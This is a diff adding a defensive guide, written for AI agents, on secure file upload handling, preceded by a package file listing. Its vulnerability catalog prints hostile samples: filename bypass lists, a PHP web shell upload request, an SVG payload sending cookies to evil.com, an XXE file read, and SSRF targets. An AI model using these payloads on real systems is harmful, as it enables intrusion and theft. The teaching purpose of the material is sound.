  528. package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +26 -0
  529. package/skills/subagent-driven-development/implementer-prompt.md +102 -0
  530. package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
  531. package/skills/tdd/SKILL.md +23 -0
  532. package/skills/using-git-worktrees/SKILL.md +163 -0
  533. package/skills/using-skills/SKILL.md +95 -0
  534. package/skills/verification/SKILL.md +22 -0
  535. package/skills/wazir/SKILL.md +463 -0
  536. package/skills/writing-plans/SKILL.md +30 -0
  537. package/skills/writing-skills/SKILL.md +157 -0
  538. package/skills/writing-skills/anthropic-best-practices.md +122 -0
  539. package/skills/writing-skills/persuasion-principles.md +50 -0
  540. package/templates/README.md +20 -0
  541. package/templates/artifacts/README.md +10 -0
  542. package/templates/artifacts/accepted-learning.md +19 -0
  543. package/templates/artifacts/accepted-learning.template.json +12 -0
  544. package/templates/artifacts/author.md +74 -0
  545. package/templates/artifacts/author.template.json +19 -0
  546. package/templates/artifacts/clarification.md +21 -0
  547. package/templates/artifacts/clarification.template.json +12 -0
  548. package/templates/artifacts/execute-notes.md +19 -0
  549. package/templates/artifacts/implementation-plan.md +21 -0
  550. package/templates/artifacts/implementation-plan.template.json +11 -0
  551. package/templates/artifacts/learning-proposal.md +19 -0
  552. package/templates/artifacts/next-run-handoff.md +21 -0
  553. package/templates/artifacts/plan-review.md +19 -0
  554. package/templates/artifacts/proposed-learning.template.json +12 -0
  555. package/templates/artifacts/research.md +21 -0
  556. package/templates/artifacts/research.template.json +12 -0
  557. package/templates/artifacts/review-findings.md +19 -0
  558. package/templates/artifacts/review.template.json +11 -0
  559. package/templates/artifacts/run-manifest.template.json +8 -0
  560. package/templates/artifacts/spec-challenge.md +19 -0
  561. package/templates/artifacts/spec-challenge.template.json +11 -0
  562. package/templates/artifacts/spec.md +21 -0
  563. package/templates/artifacts/spec.template.json +12 -0
  564. package/templates/artifacts/verification-proof.md +19 -0
  565. package/templates/artifacts/verification-proof.template.json +11 -0
  566. package/templates/examples/accepted-learning.example.json +14 -0
  567. package/templates/examples/author.example.json +152 -0
  568. package/templates/examples/clarification.example.json +15 -0
  569. package/templates/examples/docs-claim.example.json +8 -0
  570. package/templates/examples/export-manifest.example.json +7 -0
  571. package/templates/examples/host-export-package.example.json +11 -0
  572. package/templates/examples/implementation-plan.example.json +17 -0
  573. package/templates/examples/proposed-learning.example.json +13 -0
  574. package/templates/examples/research.example.json +15 -0
  575. package/templates/examples/research.example.md +6 -0
  576. package/templates/examples/review.example.json +17 -0
  577. package/templates/examples/run-manifest.example.json +9 -0
  578. package/templates/examples/spec-challenge.example.json +14 -0
  579. package/templates/examples/spec.example.json +21 -0
  580. package/templates/examples/verification-proof.example.json +21 -0
  581. package/templates/examples/wazir-manifest.example.yaml +65 -0
  582. package/templates/task-definition-schema.md +99 -0
  583. package/tooling/README.md +20 -0
  584. package/tooling/src/adapters/context-mode.js +50 -0
  585. package/tooling/src/capture/command.js +376 -0
  586. package/tooling/src/capture/store.js +99 -0
  587. package/tooling/src/capture/usage.js +270 -0
  588. package/tooling/src/checks/branches.js +50 -0
  589. package/tooling/src/checks/brand-truth.js +110 -0
  590. package/tooling/src/checks/changelog.js +231 -0
  591. package/tooling/src/checks/command-registry.js +36 -0
  592. package/tooling/src/checks/commits.js +102 -0
  593. package/tooling/src/checks/docs-drift.js +103 -0
  594. package/tooling/src/checks/docs-truth.js +201 -0
  595. package/tooling/src/checks/runtime-surface.js +156 -0
  596. package/tooling/src/cli.js +116 -0
  597. package/tooling/src/command-options.js +56 -0
  598. package/tooling/src/commands/validate.js +320 -0
  599. package/tooling/src/doctor/command.js +91 -0
  600. package/tooling/src/export/command.js +77 -0
  601. package/tooling/src/export/compiler.js +498 -0
  602. package/tooling/src/guards/loop-cap-guard.js +52 -0
  603. package/tooling/src/guards/protected-path-write-guard.js +67 -0
  604. package/tooling/src/index/command.js +152 -0
  605. package/tooling/src/index/storage.js +1061 -0
  606. package/tooling/src/index/summarizers.js +261 -0
  607. package/tooling/src/loaders.js +18 -0
  608. package/tooling/src/project-root.js +22 -0
  609. package/tooling/src/recall/command.js +225 -0
  610. package/tooling/src/schema-validator.js +30 -0
  611. package/tooling/src/state-root.js +40 -0
  612. package/tooling/src/status/command.js +71 -0
  613. package/wazir.manifest.yaml +135 -0
  614. package/workflows/README.md +19 -0
  615. package/workflows/author.md +42 -0
  616. package/workflows/clarify.md +38 -0
  617. package/workflows/design-review.md +46 -0
  618. package/workflows/design.md +44 -0
  619. package/workflows/discover.md +37 -0
  620. package/workflows/execute.md +48 -0
  621. package/workflows/learn.md +38 -0
  622. package/workflows/plan-review.md +42 -0
  623. package/workflows/plan.md +39 -0
  624. package/workflows/prepare-next.md +37 -0
  625. package/workflows/review.md +40 -0
  626. package/workflows/run-audit.md +41 -0
  627. package/workflows/spec-challenge.md +41 -0
  628. package/workflows/specify.md +38 -0
  629. package/workflows/verify.md +37 -0
@@ -0,0 +1,1477 @@
1
+ # File Upload Security
2
+
3
+ > Expertise module for AI agents implementing secure file upload handling.
4
+ > Covers threat landscape, validation, malware scanning, cloud storage, and platform-specific guidance.
5
+
6
+ ---
7
+
8
+ ## 1. Threat Landscape
9
+
10
+ File upload functionality is one of the most dangerous features in web applications.
11
+ CWE-434 (Unrestricted Upload of File with Dangerous Type) consistently ranks in the
12
+ CWE Top 25 Most Dangerous Software Weaknesses. OWASP A04:2021 (Insecure Design)
13
+ and A01:2021 (Broken Access Control) both encompass file upload risks.
14
+
15
+ ### 1.1 Attack Vectors
16
+
17
+ | Vector | Description | Severity |
18
+ |--------|-------------|----------|
19
+ | **Web shell upload** | Attacker uploads executable server-side script (.php, .jsp, .aspx) that provides remote command execution | Critical |
20
+ | **Malware distribution** | Platform used to host and distribute malware to downstream users | High |
21
+ | **Path traversal via filename** | Crafted filenames like `../../../etc/passwd` or `..\..\web.config` overwrite critical files | Critical |
22
+ | **Denial of service** | Extremely large files, ZIP bombs, or decompression bombs exhaust server resources | High |
23
+ | **Polyglot files** | Files valid as multiple types simultaneously (e.g., GIFAR: GIF + JAR) bypass type checks | High |
24
+ | **SSRF via URL-based upload** | "Upload from URL" features exploited to scan internal networks or access cloud metadata | High |
25
+ | **Stored XSS via SVG/HTML** | SVG files with embedded `<script>` tags or HTML files execute in user browsers | Medium |
26
+ | **XML External Entity (XXE)** | DOCX, XLSX, SVG files containing malicious XML entity declarations | High |
27
+
28
+ ### 1.2 Real-World Breaches
29
+
30
+ **Equifax (2017) — CVE-2017-5638**
31
+ Attackers exploited an unpatched Apache Struts vulnerability in the Jakarta Multipart
32
+ parser (file upload handler) to achieve remote code execution. They deployed approximately
33
+ 30 web shells across Equifax application servers, enabling direct command execution.
34
+ Over 147.9 million records were exfiltrated between May and July 2017. The vulnerability
35
+ had been patched two months prior, but Equifax failed to apply the update. Total cost
36
+ exceeded $1.38 billion.
37
+ Source: https://www.blackduck.com/blog/equifax-apache-struts-vulnerability-cve-2017-5638.html
38
+
39
+ **Volt Typhoon — Versa Director (2024) — CVE-2024-39717**
40
+ Chinese state-sponsored group exploited a zero-day in Versa Director's file upload
41
+ functionality to deploy the "VersaMem" web shell, stealing credentials and disrupting
42
+ critical infrastructure operations including Halliburton's IT systems.
43
+ Source: https://www.picussecurity.com/resource/blog/september-2024-latest-malware-vulnerabilities-and-exploits
44
+
45
+ **Cleo Managed File Transfer (2024)**
46
+ Critical flaws in Cleo's MFT products (Harmony, VLTrader, LexiCom) allowed unrestricted
47
+ file uploads leading to remote code execution, exploited actively in the wild.
48
+
49
+ **ImageTragick — CVE-2016-3714**
50
+ Insufficient filtering in ImageMagick's delegate feature allowed remote code execution
51
+ through crafted image files. The vulnerability affected versions 6.9.3-10 and earlier,
52
+ and 7.x before 7.0.1-1. Companion vulnerabilities included SSRF (CVE-2016-3718),
53
+ file deletion (CVE-2016-3715), file moving (CVE-2016-3716), and local file read
54
+ (CVE-2016-3717). Polyglot SVG/MSL files could bypass filters that only checked
55
+ file content type without fixing ImageMagick's processing policy.
56
+ Source: https://imagetragick.com/
57
+
58
+ **Magento E-Commerce Platform (2019)**
59
+ Unrestricted file upload vulnerability allowed attackers to upload web shells, compromising
60
+ thousands of online stores and exposing customer payment card data.
61
+
62
+ ### 1.3 Attack Statistics
63
+
64
+ According to Verizon's Data Breach Investigations Report, insecure file handling is
65
+ linked to approximately 12% of breaches. A 2024 penetration testing study found that
66
+ 35% of web applications blindly trusted the Content-Type header for file validation.
67
+
68
+ ---
69
+
70
+ ## 2. Core Security Principles
71
+
72
+ ### 2.1 Defense-in-Depth Strategy
73
+
74
+ Never rely on a single validation mechanism. Layer multiple controls:
75
+
76
+ ```
77
+ [Client Validation] → informational only, never trust
78
+
79
+ [File Size Check] → reject before full upload if possible
80
+
81
+ [Extension Allowlist] → reject disallowed extensions
82
+
83
+ [Magic Bytes Validation] → verify actual file content type
84
+
85
+ [Content Scanning] → malware/virus scan
86
+
87
+ [Filename Sanitization] → generate random name, strip path components
88
+
89
+ [Storage Isolation] → store outside webroot, non-executable directory
90
+
91
+ [Serving Controls] → Content-Disposition, Content-Type, CSP headers
92
+ ```
93
+
94
+ ### 2.2 Fundamental Rules
95
+
96
+ 1. **Validate file type by magic bytes, not just extension or Content-Type header.**
97
+ The Content-Type header is client-supplied and trivially spoofed. Extensions can
98
+ be manipulated with double extensions or null bytes.
99
+
100
+ 2. **Maintain a strict allowlist of permitted file types.** Never use a denylist
101
+ approach — there are too many dangerous file types to enumerate.
102
+
103
+ 3. **Restrict file size at the web server and application level.** Set limits in
104
+ nginx/Apache configuration AND in application code.
105
+
106
+ 4. **Store uploads outside the webroot.** Uploaded files must never be directly
107
+ accessible or executable by the web server.
108
+
109
+ 5. **Generate random filenames.** Never use the original filename for storage. Use
110
+ UUIDs or cryptographic random strings. Store the original name in a database if
111
+ needed for display.
112
+
113
+ 6. **Scan for malware before making files available.** Use ClamAV or a cloud-based
114
+ scanning service. Quarantine files until scan completes.
115
+
116
+ 7. **Serve files through a proxy with correct headers.** Set `Content-Disposition: attachment`,
117
+ enforce correct `Content-Type`, and use a separate domain for user content.
118
+
119
+ 8. **Strip metadata from images.** EXIF data can contain GPS coordinates, device info,
120
+ and even embedded thumbnails of cropped content.
121
+
122
+ 9. **Implement rate limiting on upload endpoints.** Prevent abuse and DoS via
123
+ rapid repeated uploads.
124
+
125
+ 10. **Log all upload activity.** Record uploader identity, original filename, detected
126
+ type, file hash, storage path, and scan results.
127
+
128
+ ---
129
+
130
+ ## 3. Implementation Patterns
131
+
132
+ ### 3.1 File Type Validation with Magic Bytes
133
+
134
+ Magic bytes (file signatures) are the authoritative indicator of file type. Common
135
+ signatures:
136
+
137
+ | Format | Magic Bytes (hex) | ASCII |
138
+ |--------|-------------------|-------|
139
+ | JPEG | `FF D8 FF` | n/a |
140
+ | PNG | `89 50 4E 47 0D 0A 1A 0A` | .PNG.... |
141
+ | GIF | `47 49 46 38` | GIF8 |
142
+ | PDF | `25 50 44 46` | %PDF |
143
+ | ZIP | `50 4B 03 04` | PK.. |
144
+ | WEBP | `52 49 46 46 ?? ?? ?? ?? 57 45 42 50` | RIFF....WEBP |
145
+
146
+ **Node.js implementation using `file-type` library:**
147
+
148
+ ```typescript
149
+ import { fileTypeFromBuffer } from 'file-type';
150
+
151
+ const ALLOWED_TYPES = new Map([
152
+ ['image/jpeg', { extensions: ['jpg', 'jpeg'], maxSize: 10_000_000 }],
153
+ ['image/png', { extensions: ['png'], maxSize: 10_000_000 }],
154
+ ['image/webp', { extensions: ['webp'], maxSize: 10_000_000 }],
155
+ ['application/pdf', { extensions: ['pdf'], maxSize: 50_000_000 }],
156
+ ]);
157
+
158
+ async function validateFileType(buffer: Buffer): Promise<{
159
+ valid: boolean;
160
+ detectedType: string | null;
161
+ error?: string;
162
+ }> {
163
+ const result = await fileTypeFromBuffer(buffer);
164
+
165
+ if (!result) {
166
+ return { valid: false, detectedType: null, error: 'Unable to detect file type' };
167
+ }
168
+
169
+ if (!ALLOWED_TYPES.has(result.mime)) {
170
+ return {
171
+ valid: false,
172
+ detectedType: result.mime,
173
+ error: `File type '${result.mime}' is not allowed`,
174
+ };
175
+ }
176
+
177
+ return { valid: true, detectedType: result.mime };
178
+ }
179
+ ```
180
+
181
+ **Python implementation using `python-magic`:**
182
+
183
+ ```python
184
+ import magic
185
+
186
+ ALLOWED_MIME_TYPES = {
187
+ 'image/jpeg', 'image/png', 'image/webp', 'application/pdf'
188
+ }
189
+
190
+ def validate_file_type(file_bytes: bytes) -> tuple[bool, str]:
191
+ """Validate file type using magic bytes. Returns (is_valid, detected_mime)."""
192
+ detected_mime = magic.from_buffer(file_bytes[:2048], mime=True)
193
+
194
+ if detected_mime not in ALLOWED_MIME_TYPES:
195
+ return False, detected_mime
196
+
197
+ return True, detected_mime
198
+ ```
199
+
200
+ ### 3.2 Image Processing Sandboxing
201
+
202
+ Image processing libraries (ImageMagick, GraphicsMagick, libvips) have a history of
203
+ vulnerabilities. Isolate processing:
204
+
205
+ ```typescript
206
+ // Use sharp (libvips wrapper) instead of ImageMagick
207
+ // sharp re-encodes images, stripping any embedded payloads
208
+ import sharp from 'sharp';
209
+
210
+ async function processUploadedImage(
211
+ inputBuffer: Buffer,
212
+ maxWidth = 2048,
213
+ maxHeight = 2048,
214
+ ): Promise<Buffer> {
215
+ // Re-encoding through sharp neutralizes polyglot attacks
216
+ // and strips EXIF metadata by default
217
+ return sharp(inputBuffer)
218
+ .resize(maxWidth, maxHeight, {
219
+ fit: 'inside',
220
+ withoutEnlargement: true,
221
+ })
222
+ .jpeg({ quality: 85, mozjpeg: true })
223
+ .toBuffer();
224
+ }
225
+ ```
226
+
227
+ **ImageMagick policy hardening** (`/etc/ImageMagick-7/policy.xml`):
228
+
229
+ ```xml
230
+ <policymap>
231
+ <!-- Disable dangerous coders -->
232
+ <policy domain="coder" rights="none" pattern="EPHEMERAL" />
233
+ <policy domain="coder" rights="none" pattern="URL" />
234
+ <policy domain="coder" rights="none" pattern="MVG" />
235
+ <policy domain="coder" rights="none" pattern="MSL" />
236
+ <policy domain="coder" rights="none" pattern="TEXT" />
237
+ <policy domain="coder" rights="none" pattern="LABEL" />
238
+
239
+ <!-- Resource limits -->
240
+ <policy domain="resource" name="memory" value="256MiB"/>
241
+ <policy domain="resource" name="map" value="512MiB"/>
242
+ <policy domain="resource" name="width" value="8192"/>
243
+ <policy domain="resource" name="height" value="8192"/>
244
+ <policy domain="resource" name="area" value="64MP"/>
245
+ <policy domain="resource" name="disk" value="1GiB"/>
246
+ </policymap>
247
+ ```
248
+
249
+ ### 3.3 Virus Scanning with ClamAV
250
+
251
+ ClamAV is an open-source antivirus engine (GPLv2) suitable for scanning uploaded files.
252
+
253
+ **Architecture:**
254
+ ```
255
+ Upload → Temp Storage → ClamAV Scan → Clean? → Permanent Storage
256
+ → Infected? → Quarantine + Alert
257
+ ```
258
+
259
+ **Node.js integration using `clamav.js`:**
260
+
261
+ ```typescript
262
+ import NodeClam from 'clamscan';
263
+
264
+ const ClamScan = new NodeClam().init({
265
+ clamdscan: {
266
+ socket: '/var/run/clamav/clamd.ctl', // Unix socket (preferred)
267
+ host: '127.0.0.1', // TCP fallback
268
+ port: 3310,
269
+ timeout: 60000,
270
+ localFallback: true,
271
+ },
272
+ preference: 'clamdscan',
273
+ });
274
+
275
+ async function scanFile(filePath: string): Promise<{
276
+ clean: boolean;
277
+ viruses: string[];
278
+ }> {
279
+ const clamscan = await ClamScan;
280
+ const { isInfected, viruses } = await clamscan.isInfected(filePath);
281
+
282
+ return {
283
+ clean: !isInfected,
284
+ viruses: viruses ?? [],
285
+ };
286
+ }
287
+
288
+ // Usage in upload pipeline
289
+ async function handleUpload(tempPath: string): Promise<void> {
290
+ const scanResult = await scanFile(tempPath);
291
+
292
+ if (!scanResult.clean) {
293
+ await moveToQuarantine(tempPath);
294
+ await alertSecurityTeam(scanResult.viruses);
295
+ throw new Error('File failed malware scan');
296
+ }
297
+
298
+ await moveToStorage(tempPath);
299
+ }
300
+ ```
301
+
302
+ **Important:** Keep ClamAV signature databases updated via `freshclam`. The clamd daemon
303
+ does not authenticate TCP traffic — always bind to localhost or use Unix sockets.
304
+
305
+ ### 3.4 Cloud Storage with Signed URLs
306
+
307
+ Direct browser-to-cloud uploads via signed URLs reduce server load and attack surface.
308
+
309
+ **AWS S3 presigned URL generation (TypeScript):**
310
+
311
+ ```typescript
312
+ import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';
313
+ import { getSignedUrl } from '@aws-sdk/s3-request-presigner';
314
+ import { randomUUID } from 'crypto';
315
+
316
+ const s3 = new S3Client({ region: 'us-east-1' });
317
+
318
+ async function generateUploadUrl(
319
+ contentType: string,
320
+ maxSizeBytes: number,
321
+ ): Promise<{ uploadUrl: string; key: string }> {
322
+ // Validate content type server-side before generating URL
323
+ const ALLOWED_CONTENT_TYPES = ['image/jpeg', 'image/png', 'application/pdf'];
324
+ if (!ALLOWED_CONTENT_TYPES.includes(contentType)) {
325
+ throw new Error(`Content type '${contentType}' is not allowed`);
326
+ }
327
+
328
+ const key = `uploads/${randomUUID()}`;
329
+
330
+ const command = new PutObjectCommand({
331
+ Bucket: 'my-upload-bucket',
332
+ Key: key,
333
+ ContentType: contentType,
334
+ // Server-side encryption
335
+ ServerSideEncryption: 'AES256',
336
+ });
337
+
338
+ const uploadUrl = await getSignedUrl(s3, command, {
339
+ expiresIn: 300, // 5 minutes
340
+ });
341
+
342
+ return { uploadUrl, key };
343
+ }
344
+ ```
345
+
346
+ **S3 bucket policy for upload restrictions:**
347
+
348
+ ```json
349
+ {
350
+ "Version": "2012-10-17",
351
+ "Statement": [
352
+ {
353
+ "Sid": "DenyUnencryptedUploads",
354
+ "Effect": "Deny",
355
+ "Principal": "*",
356
+ "Action": "s3:PutObject",
357
+ "Resource": "arn:aws:s3:::my-upload-bucket/*",
358
+ "Condition": {
359
+ "StringNotEquals": {
360
+ "s3:x-amz-server-side-encryption": "AES256"
361
+ }
362
+ }
363
+ },
364
+ {
365
+ "Sid": "DenyPublicAccess",
366
+ "Effect": "Deny",
367
+ "Principal": "*",
368
+ "Action": "s3:GetObject",
369
+ "Resource": "arn:aws:s3:::my-upload-bucket/*",
370
+ "Condition": {
371
+ "Bool": { "aws:SecureTransport": "false" }
372
+ }
373
+ }
374
+ ]
375
+ }
376
+ ```
377
+
378
+ **Google Cloud Storage signed URL (Python):**
379
+
380
+ ```python
381
+ from google.cloud import storage
382
+ from datetime import timedelta
383
+ import uuid
384
+
385
+ def generate_upload_signed_url(content_type: str, max_size: int) -> dict:
386
+ client = storage.Client()
387
+ bucket = client.bucket('my-upload-bucket')
388
+ blob_name = f"uploads/{uuid.uuid4()}"
389
+ blob = bucket.blob(blob_name)
390
+
391
+ url = blob.generate_signed_url(
392
+ version="v4",
393
+ expiration=timedelta(minutes=5),
394
+ method="PUT",
395
+ content_type=content_type,
396
+ headers={"x-goog-content-length-range": f"0,{max_size}"},
397
+ )
398
+
399
+ return {"upload_url": url, "blob_name": blob_name}
400
+ ```
401
+
402
+ **Post-upload scanning pipeline (GCS):**
403
+ Google Cloud's reference architecture uses Cloud Functions triggered by storage events
404
+ to pass uploaded files through ClamAV. Clean files are moved to a "clean" bucket;
405
+ infected files are moved to a "quarantine" bucket.
406
+
407
+ ### 3.5 Content-Disposition and Serving Headers
408
+
409
+ When serving user-uploaded files, always set defensive headers:
410
+
411
+ ```typescript
412
+ app.get('/files/:fileId', async (req, res) => {
413
+ const file = await getFileMetadata(req.params.fileId);
414
+
415
+ // Force download — never render in browser
416
+ res.setHeader('Content-Disposition',
417
+ `attachment; filename="${encodeURIComponent(file.originalName)}"`);
418
+
419
+ // Set accurate content type from stored metadata, not file extension
420
+ res.setHeader('Content-Type', file.detectedMimeType);
421
+
422
+ // Prevent MIME sniffing
423
+ res.setHeader('X-Content-Type-Options', 'nosniff');
424
+
425
+ // Content Security Policy — block scripts in served content
426
+ res.setHeader('Content-Security-Policy', "default-src 'none'; style-src 'unsafe-inline'");
427
+
428
+ // Serve from a separate domain to isolate cookies
429
+ // e.g., uploads.example.com instead of example.com
430
+
431
+ const stream = await getFileStream(file.storagePath);
432
+ stream.pipe(res);
433
+ });
434
+ ```
435
+
436
+ ### 3.6 Filename Sanitization
437
+
438
+ ```typescript
439
+ import { randomUUID } from 'crypto';
440
+ import path from 'path';
441
+
442
+ function sanitizeAndRename(originalFilename: string, detectedMime: string): {
443
+ storageFilename: string;
444
+ originalName: string;
445
+ } {
446
+ // Map detected MIME to safe extension
447
+ const MIME_TO_EXT: Record<string, string> = {
448
+ 'image/jpeg': '.jpg',
449
+ 'image/png': '.png',
450
+ 'image/webp': '.webp',
451
+ 'application/pdf': '.pdf',
452
+ };
453
+
454
+ const safeExtension = MIME_TO_EXT[detectedMime] ?? '.bin';
455
+
456
+ // Sanitize original name for display (remove path separators, null bytes)
457
+ const sanitizedOriginal = path.basename(originalFilename)
458
+ .replace(/[\x00-\x1f]/g, '') // Remove control characters
459
+ .replace(/[/\\]/g, '_') // Replace path separators
460
+ .slice(0, 255); // Limit length
461
+
462
+ return {
463
+ storageFilename: `${randomUUID()}${safeExtension}`,
464
+ originalName: sanitizedOriginal,
465
+ };
466
+ }
467
+ ```
468
+
469
+ ---
470
+
471
+ ## 4. Vulnerability Catalog
472
+
473
+ ### V-01: Extension Bypass — Double Extension
474
+
475
+ **CWE:** CWE-434
476
+ **Attack:** Upload `shell.php.jpg`. Some servers (Apache with misconfigured `mod_mime`)
477
+ execute the `.php` handler.
478
+
479
+ ```
480
+ # Malicious filename examples
481
+ shell.php.jpg
482
+ shell.php%00.jpg # Null byte injection (legacy)
483
+ shell.php;.jpg # Semicolon bypass (IIS)
484
+ shell.pHp # Case manipulation
485
+ shell.php5 # Alternative PHP extension
486
+ shell.phtml # Another PHP extension
487
+ ```
488
+
489
+ **Fix:** Validate against magic bytes, not extension. If extension checking is used,
490
+ extract only the final extension and compare against an allowlist.
491
+
492
+ ### V-02: MIME Type Spoofing
493
+
494
+ **CWE:** CWE-345 (Insufficient Verification of Data Authenticity)
495
+ **Attack:** Set `Content-Type: image/jpeg` header while uploading a PHP web shell.
496
+
497
+ ```http
498
+ POST /upload HTTP/1.1
499
+ Content-Type: multipart/form-data; boundary=----boundary
500
+
501
+ ------boundary
502
+ Content-Disposition: form-data; name="file"; filename="avatar.jpg"
503
+ Content-Type: image/jpeg
504
+
505
+ <?php system($_GET['cmd']); ?>
506
+ ------boundary--
507
+ ```
508
+
509
+ **Fix:** Never trust the Content-Type header. Always validate using magic bytes from
510
+ the file content itself.
511
+
512
+ ### V-03: Path Traversal in Filename
513
+
514
+ **CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
515
+ **Attack:** Upload with filename `../../../etc/cron.d/backdoor` to write outside
516
+ the upload directory.
517
+
518
+ ```python
519
+ # VULNERABLE — uses original filename
520
+ def save_upload(file):
521
+ path = os.path.join('/uploads', file.filename) # Path traversal!
522
+ file.save(path)
523
+
524
+ # SECURE — generates random filename
525
+ def save_upload(file):
526
+ ext = validate_and_get_extension(file)
527
+ safe_name = f"{uuid.uuid4()}{ext}"
528
+ path = os.path.join('/uploads', safe_name)
529
+ # Additional safety: verify resolved path is within upload dir
530
+ real_path = os.path.realpath(path)
531
+ if not real_path.startswith(os.path.realpath('/uploads')):
532
+ raise SecurityError("Path traversal detected")
533
+ file.save(real_path)
534
+ ```
535
+
536
+ ### V-04: SVG with Embedded Scripts (Stored XSS)
537
+
538
+ **CWE:** CWE-79 (Cross-site Scripting)
539
+ **Attack:** Upload an SVG file containing JavaScript that executes when viewed.
540
+
541
+ ```xml
542
+ <!-- Malicious SVG -->
543
+ <svg xmlns="http://www.w3.org/2000/svg">
544
+ <script>document.location='https://evil.com/?c='+document.cookie</script>
545
+ <rect width="100" height="100" fill="red"
546
+ onload="fetch('https://evil.com/steal?cookie='+document.cookie)"/>
547
+ <foreignObject>
548
+ <body xmlns="http://www.w3.org/1999/xhtml">
549
+ <script>alert('XSS')</script>
550
+ </body>
551
+ </foreignObject>
552
+ </svg>
553
+ ```
554
+
555
+ **Fix:** Either reject SVG uploads entirely, sanitize by stripping `<script>`,
556
+ `<foreignObject>`, and all `on*` attributes, or convert to rasterized format (PNG).
557
+ Serve with `Content-Type: image/svg+xml` and `Content-Security-Policy: default-src 'none'`.
558
+
559
+ ### V-05: ZIP Bomb / Decompression Bomb
560
+
561
+ **CWE:** CWE-409 (Improper Handling of Highly Compressed Data)
562
+ **Attack:** A 42KB ZIP file expands to 4.5 petabytes when decompressed (e.g., 42.zip).
563
+ Nested ZIP files amplify exponentially.
564
+
565
+ **Fix:**
566
+ ```python
567
+ import zipfile
568
+
569
+ MAX_UNCOMPRESSED_SIZE = 100 * 1024 * 1024 # 100 MB
570
+ MAX_FILES = 1000
571
+ MAX_NESTING_DEPTH = 2
572
+
573
+ def safe_extract(zip_path: str, extract_to: str, depth: int = 0) -> None:
574
+ if depth > MAX_NESTING_DEPTH:
575
+ raise SecurityError("Maximum archive nesting depth exceeded")
576
+
577
+ with zipfile.ZipFile(zip_path, 'r') as zf:
578
+ total_size = sum(info.file_size for info in zf.infolist())
579
+ if total_size > MAX_UNCOMPRESSED_SIZE:
580
+ raise SecurityError(f"Uncompressed size {total_size} exceeds limit")
581
+
582
+ if len(zf.infolist()) > MAX_FILES:
583
+ raise SecurityError(f"Archive contains too many files")
584
+
585
+ # Check compression ratio
586
+ compressed_size = os.path.getsize(zip_path)
587
+ if compressed_size > 0 and total_size / compressed_size > 100:
588
+ raise SecurityError("Suspicious compression ratio detected")
589
+
590
+ for info in zf.infolist():
591
+ # Prevent path traversal within archive
592
+ if info.filename.startswith('/') or '..' in info.filename:
593
+ raise SecurityError("Path traversal in archive entry")
594
+ zf.extract(info, extract_to)
595
+ ```
596
+
597
+ ### V-06: SSRF via URL-Based Upload
598
+
599
+ **CWE:** CWE-918 (Server-Side Request Forgery)
600
+ **Attack:** "Upload from URL" feature abused to access internal services:
601
+ `http://169.254.169.254/latest/meta-data/` (AWS metadata),
602
+ `http://localhost:6379/` (Redis), `file:///etc/passwd`.
603
+
604
+ **Fix:** Validate and restrict URL schemes (HTTPS only), resolve DNS and reject
605
+ private IP ranges (10.x, 172.16-31.x, 192.168.x, 169.254.x, 127.x, ::1),
606
+ use allowlisted domains if possible, and set strict timeouts.
607
+
608
+ ### V-07: Missing Size Limits
609
+
610
+ **CWE:** CWE-770 (Allocation of Resources Without Limits)
611
+ **Attack:** Upload multi-gigabyte files to exhaust disk space, memory, or bandwidth.
612
+
613
+ **Fix:** Enforce limits at multiple layers — web server (nginx `client_max_body_size`),
614
+ reverse proxy, application framework, and application code.
615
+
616
+ ### V-08: Executable Upload to Webroot
617
+
618
+ **CWE:** CWE-434
619
+ **Attack:** Upload `.php`, `.jsp`, `.aspx`, `.py`, `.cgi` file directly to a web-accessible
620
+ directory where the server executes it.
621
+
622
+ **Fix:** Store uploads outside the webroot. Configure the web server to never execute
623
+ files in upload directories. Serve through a separate application route with forced
624
+ `Content-Disposition: attachment`.
625
+
626
+ ### V-09: XML External Entity in Document Uploads
627
+
628
+ **CWE:** CWE-611 (Improper Restriction of XML External Entity Reference)
629
+ **Attack:** DOCX, XLSX, SVG, and other XML-based formats can contain XXE payloads.
630
+
631
+ ```xml
632
+ <?xml version="1.0"?>
633
+ <!DOCTYPE foo [
634
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
635
+ ]>
636
+ <svg>&xxe;</svg>
637
+ ```
638
+
639
+ **Fix:** Disable external entity processing in all XML parsers. For document processing,
640
+ use libraries with XXE protection enabled by default (e.g., `defusedxml` in Python).
641
+
642
+ ### V-10: Polyglot File Attacks
643
+
644
+ **CWE:** CWE-434
645
+ **Attack:** Craft files that are simultaneously valid as two formats (e.g., a valid
646
+ JPEG that is also a valid PHP script, or a GIF that is also a JAR file — "GIFAR").
647
+
648
+ **Fix:** Re-encode/re-process files through format-specific libraries (e.g., re-save
649
+ images through sharp/Pillow). This destroys any embedded secondary payloads.
650
+
651
+ ### V-11: Race Condition in Upload-Then-Scan
652
+
653
+ **CWE:** CWE-367 (Time-of-check Time-of-use)
654
+ **Attack:** Access uploaded file in the window between upload completion and virus
655
+ scan completion.
656
+
657
+ **Fix:** Upload to a quarantine/staging area that is not accessible. Only move to
658
+ the serving location after scan passes.
659
+
660
+ ### V-12: Content-Type Mismatch on Serving
661
+
662
+ **CWE:** CWE-430 (Deployment of Wrong Handler)
663
+ **Attack:** Browser performs MIME sniffing and executes uploaded HTML/JavaScript files
664
+ despite the server sending a safe Content-Type.
665
+
666
+ **Fix:** Always set `X-Content-Type-Options: nosniff`. Send the correct Content-Type
667
+ from stored metadata. Serve user content from a separate domain.
668
+
669
+ ### V-13: Metadata Exfiltration
670
+
671
+ **CWE:** CWE-200 (Exposure of Sensitive Information)
672
+ **Attack:** Uploaded images retain EXIF data containing GPS coordinates, device model,
673
+ timestamps, and sometimes thumbnails of pre-crop content.
674
+
675
+ **Fix:** Strip all metadata using sharp (`sharp(buf).rotate()` auto-strips EXIF) or
676
+ ExifTool. Re-encoding through an image library typically removes metadata.
677
+
678
+ ### V-14: Insecure Direct Object Reference on Download
679
+
680
+ **CWE:** CWE-639 (Authorization Bypass Through User-Controlled Key)
681
+ **Attack:** Enumerate file IDs (`/download/1`, `/download/2`, ...) to access other
682
+ users' uploaded files.
683
+
684
+ **Fix:** Use unpredictable identifiers (UUIDs), enforce authorization checks on every
685
+ download request, and verify the requesting user has access to the specific file.
686
+
687
+ ---
688
+
689
+ ## 5. Security Checklist
690
+
691
+ Use this checklist when implementing or reviewing file upload functionality:
692
+
693
